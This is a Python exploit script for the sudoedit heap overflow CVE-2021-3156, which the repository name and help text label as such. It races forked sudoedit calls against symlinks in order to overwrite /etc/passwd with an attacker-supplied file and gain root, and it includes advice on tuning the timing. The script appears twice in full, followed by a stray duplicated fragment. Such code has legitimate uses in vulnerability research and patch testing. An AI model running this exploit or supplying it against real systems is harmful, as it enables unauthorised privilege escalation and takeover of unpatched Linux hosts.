<reponame>CyberCommands/exploit-sudoedit<gh_stars>1-10
#!/usr/bin/env python3
import os
import sys
import pwd
import time
import argparse


class Exploit(object):
    username = ''
    size = 0
    data = ''

    def __init__(self, source, target, sleep):
        self.sleep = sleep
        self.source = source
        self.target = target

    @staticmethod
    def readFile(path):
        return open(path, 'r').read()

    @staticmethod
    def getUser():
        return pwd.getpwuid(os.getuid())[0]

    @staticmethod
    def getSize(path):
        return os.stat(path).st_size

    def main(self):
        self.username = self.getUser()
        self.data = self.readFile(self.source)
        self.size = self.getSize(self.target)
        environ = {
            '\n\n\n\n\n': '\n' + self.data,
            'SUDO_ASKPASS': '/bin/false',
            'LANG': 'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
            'A': 'A' * 0xffff
        }
        for i in range(5000):
            directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
            overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory

            if os.path.exists(directory):
                sys.stdout.write('file exists %s\n' % directory)
                continue

            child = os.fork()
            os.environ = environ
            if child:
                sys.stdout.write('[+] parent %d \n' % i)
                sys.stdout.flush()
                time.sleep(self.sleep)
                if not os.path.exists(directory):
                    try:
                        os.mkdir(directory, 0o700)
                        os.symlink(self.target, '%s/%s' % (directory, self.username))
                        os.waitpid(child, 0)
                    except:
                        continue
            else:
                sys.stdout.write('[+] child %d \n' % i)
                sys.stdout.flush()
                os.setpriority(os.PRIO_PROCESS, 0, 20)
                os.execve(
                    path='/usr/bin/sudoedit',
                    argv=[
                        '/usr/bin/sudoedit',
                        '-A',
                        '-s',
                        '\\',
                        overflow
                    ],
                    env=environ
                )
                sys.stdout.write('[!] execve failed\n')
                sys.stdout.flush()
                os.abort()
                break

            if self.size != self.getSize(self.target):
                sys.stdout.write('[*] success at iteration %d \n' % i)
                sys.stdout.flush()
                break
        
        sys.stdout.write("""
            \nConsider the following if the exploit fails:
            \n\t(1) If all directories are owned by root then sleep needs to be decreased.
            \n\t(2) If they're all owned by you, then sleep needs increased.""")


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        add_help=True,
        description='* Sudo Privilege Escalation / Heap Overflow - CVE-2021-3156 *'
    )
    try:
        parser.add_argument('-s','--source', action='store', help='Path to malicious "passwd" file to overwrite the target')
        parser.add_argument('-t', '--target', action='store', help='Target file path to be overwritten (default: /etc/passwd)')
        parser.add_argument('-sl','--sleep', action='store', help='Sleep setting for forked processes (default: 0.01 seconds)')
        parser.set_defaults(target='/etc/passwd', sleep='0.01')

        options = parser.parse_args()
        if options.source is None:
            parser.print_help()
            sys.exit(1)

        exp = Exploit(
            source=options.source,
            target=options.target,
            sleep=float(options.sleep)
        )
        exp.main()
    
    except Exception as err:
        sys.stderr.write(str(err))
#!/usr/bin/env python3
import os
import sys
import pwd
import time
import argparse


class Exploit(object):
    username = ''
    size = 0
    data = ''

    def __init__(self, source, target, sleep):
        self.sleep = sleep
        self.source = source
        self.target = target

    @staticmethod
    def readFile(path):
        return open(path, 'r').read()

    @staticmethod
    def getUser():
        return pwd.getpwuid(os.getuid())[0]

    @staticmethod
    def getSize(path):
        return os.stat(path).st_size

    def main(self):
        self.username = self.getUser()
        self.data = self.readFile(self.source)
        self.size = self.getSize(self.target)
        environ = {
            '\n\n\n\n\n': '\n' + self.data,
            'SUDO_ASKPASS': '/bin/false',
            'LANG': 'C.UTF-8@aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
            'A': 'A' * 0xffff
        }
        for i in range(5000):
            directory = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAA00000000000000000000000000%08d' % i
            overflow = '11111111111111111111111111111111111111111111111111111111%s' % directory

            if os.path.exists(directory):
                sys.stdout.write('file exists %s\n' % directory)
                continue

            child = os.fork()
            os.environ = environ
            if child:
                sys.stdout.write('[+] parent %d \n' % i)
                sys.stdout.flush()
                time.sleep(self.sleep)
                if not os.path.exists(directory):
                    try:
                        os.mkdir(directory, 0o700)
                        os.symlink(self.target, '%s/%s' % (directory, self.username))
                        os.waitpid(child, 0)
                    except:
                        continue
            else:
                sys.stdout.write('[+] child %d \n' % i)
                sys.stdout.flush()
                os.setpriority(os.PRIO_PROCESS, 0, 20)
                os.execve(
                    path='/usr/bin/sudoedit',
                    argv=[
                        '/usr/bin/sudoedit',
                        '-A',
                        '-s',
                        '\\',
                        overflow
                    ],
                    env=environ
                )
                sys.stdout.write('[!] execve failed\n')
                sys.stdout.flush()
                os.abort()
                break

            if self.size != self.getSize(self.target):
                sys.stdout.write('[*] success at iteration %d \n' % i)
                sys.stdout.flush()
                break
        
        sys.stdout.write("""
            \nConsider the following if the exploit fails:
            \n\t(1) If all directories are owned by root then sleep needs to be decreased.
            \n\t(2) If they're all owned by you, then sleep needs increased.""")


if __name__ == '__main__':
    parser = argparse.ArgumentParser(
        add_help=True,
        description='* Sudo Privilege Escalation / Heap Overflow - CVE-2021-3156 *'
    )
    try:
        parser.add_argument('-s','--source', action='store', help='Path to malicious "passwd" file to overwrite the target')
        parser.add_argument('-t', '--target', action='store', help='Target file path to be overwritten (default: /etc/passwd)')
        parser.add_argument('-sl','--sleep', action='store', help='Sleep setting for forked processes (default: 0.01 seconds)')
        parser.set_defaults(target='/etc/passwd', sleep='0.01')

        options = parser.parse_args()
        if options.source is None:
            parser.print_help()
            sys.exit(1)

        exp = Exploit(
            source=options.source,
            target=options.target,
            sleep=float(options.sleep)
        )
        exp.main()
    
    except Exception as err:
        sys.stderr.write(str(err))
#!/usr/bin/env python3 \nConsider the following if the exploit fails:             \n\t(1) If all directories are owned by root then sleep needs to be decreased.             \n\t(2) If they're all owned by you, then sleep needs increased.